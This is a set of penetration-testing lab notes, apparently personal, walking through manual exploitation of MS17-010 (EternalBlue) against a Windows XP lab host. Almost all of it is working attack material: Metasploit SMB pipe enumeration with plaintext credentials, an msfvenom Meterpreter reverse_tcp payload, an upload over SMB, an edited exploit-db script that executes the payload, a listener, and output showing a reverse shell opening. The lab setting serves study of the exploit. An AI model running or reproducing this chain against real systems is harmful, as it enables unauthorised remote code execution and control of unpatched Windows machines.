manual ms17-010

https://null-byte.wonderhowto.com/how-to/manually-exploit-eternalblue-windows-server-using-ms17-010-python-exploit-0195414/

Use pipe_auditor

```
Module options (auxiliary/scanner/smb/pipe_auditor):
```

Set options

```
msf auxiliary(scanner/smb/pipe_auditor) > set rhosts winxp
rhosts => winxp
msf auxiliary(scanner/smb/pipe_auditor) > set smbpass P@ssw0rd
smbpass => P@ssw0rd
msf auxiliary(scanner/smb/pipe_auditor) > set smbuser localadmin
smbuser => localadmin
msf auxiliary(scanner/smb/pipe_auditor) > run

[+] 192.168.40.141:139    - Pipes: \netlogon, \lsarpc, \samr, \browser, \
ntsvcs, \protected_storage, \scerpc, \srvsvc, \trkwks, \wkssvc
```

Create payload

```
root@kali:/tmp/winxp# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.40.143 lport=2222 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
```

Upload payload

```
root@kali:/tmp/winxp# smbclient //192.168.40.141/C$ -U localadmin
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\localadmin's password:
Try "help" to get a list of possible commands.
smb: \> dir
  AUTOEXEC.BAT                        A        0  Wed Mar  3 23:50:57 2010
  boot.ini                           HS      211  Wed Mar  3 23:45:10 2010
  CONFIG.SYS                          A        0  Wed Mar  3 23:50:57 2010
  Documents and Settings              D        0  Thu Nov 21 00:52:41 2019
  IO.SYS                           AHSR        0  Wed Mar  3 23:50:57 2010
  MSDOS.SYS                        AHSR        0  Wed Mar  3 23:50:57 2010
  NTDETECT.COM                     AHSR    47564  Mon Apr 14 08:00:00 2008
  ntldr                            AHSR   250048  Mon Apr 14 08:00:00 2008
  pagefile.sys                      AHS 402653184  Thu Nov 21 04:14:27 2019
  Program Files                      DR        0  Thu Nov 21 00:41:28 2019
  pwned.txt                           A        0  Fri Nov 22 03:46:18 2019
  Python27                            D        0  Thu Nov 21 00:41:48 2019
  RECYCLER                          DHS        0  Fri Nov 22 03:36:02 2019
  scriptfile.txt                      A       69  Fri Nov 22 03:37:57 2019
  shell.exe                           A    73802  Fri Nov 22 03:46:11 2019
```

Exploits

searchsploit eternalblue

```
exploits/windows/remote/42315.py
```

Edit

```
USERNAME = 'localadmin'
PASSWORD = 'P@ssw0rd'
```

```
def smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        print('creating file c:\\pwned.txt on the target')
        tid2 = smbConn.connectTree('C$')
        fid2 = smbConn.createFile(tid2, '/pwned.txt')
        smbConn.closeFile(tid2, fid2)
        smbConn.disconnectTree(tid2)

        #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
        service_exec(conn, r'cmd /c c:\shell.exe')
        # Note: there are many methods to get shell over SMB admin session
        # a simple method to get shell (but easily to be detected by AV) is
        # executing binary generated by "msfvenom -f exe-service ..."
```

Create listener
Payload windows/meterpreter/reverse_tcp

```
msf exploit(multi/handler) > set lhost eth0
lhost => 192.168.40.143
msf exploit(multi/handler) > set lport 2222
lport => 2222
msf exploit(multi/handler) > run
```

Run exploit

```
root@kali:/tmp/winxp# python exploit.py 192.168.40.141 netlogon
Target OS: Windows 5.1
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0x8203c890
SESSION: 0xe1d48d50
FLINK: 0x7bd48
InData: 0x7ae28
MID: 0xa
TRANS1: 0x78b50
TRANS2: 0x7ac90
modify transaction struct for arbitrary read/write
make this SMB session to be SYSTEM
current TOKEN addr: 0xe184cd88
userAndGroupCount: 0x7
userAndGroupsAddr: 0xe184cf18
overwriting token UserAndGroups
creating file c:\pwned.txt on the target
Opening SVCManager on 192.168.40.141.....
Creating service UjqJ.....
Starting service UjqJ.....
The NETBIOS connection with the remote host timed out.
Removing service UjqJ.....
ServiceExec Error on: 192.168.40.141
nca_s_proto_error
Done
```

Reverse shell popped

```
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.40.143:2222
[*] Sending stage (179779 bytes) to 192.168.40.141
[*] Meterpreter session 1 opened (192.168.40.143:2222 -> 192.168.40.141:1634) at 2019-11-22 03:46:19 -0500
```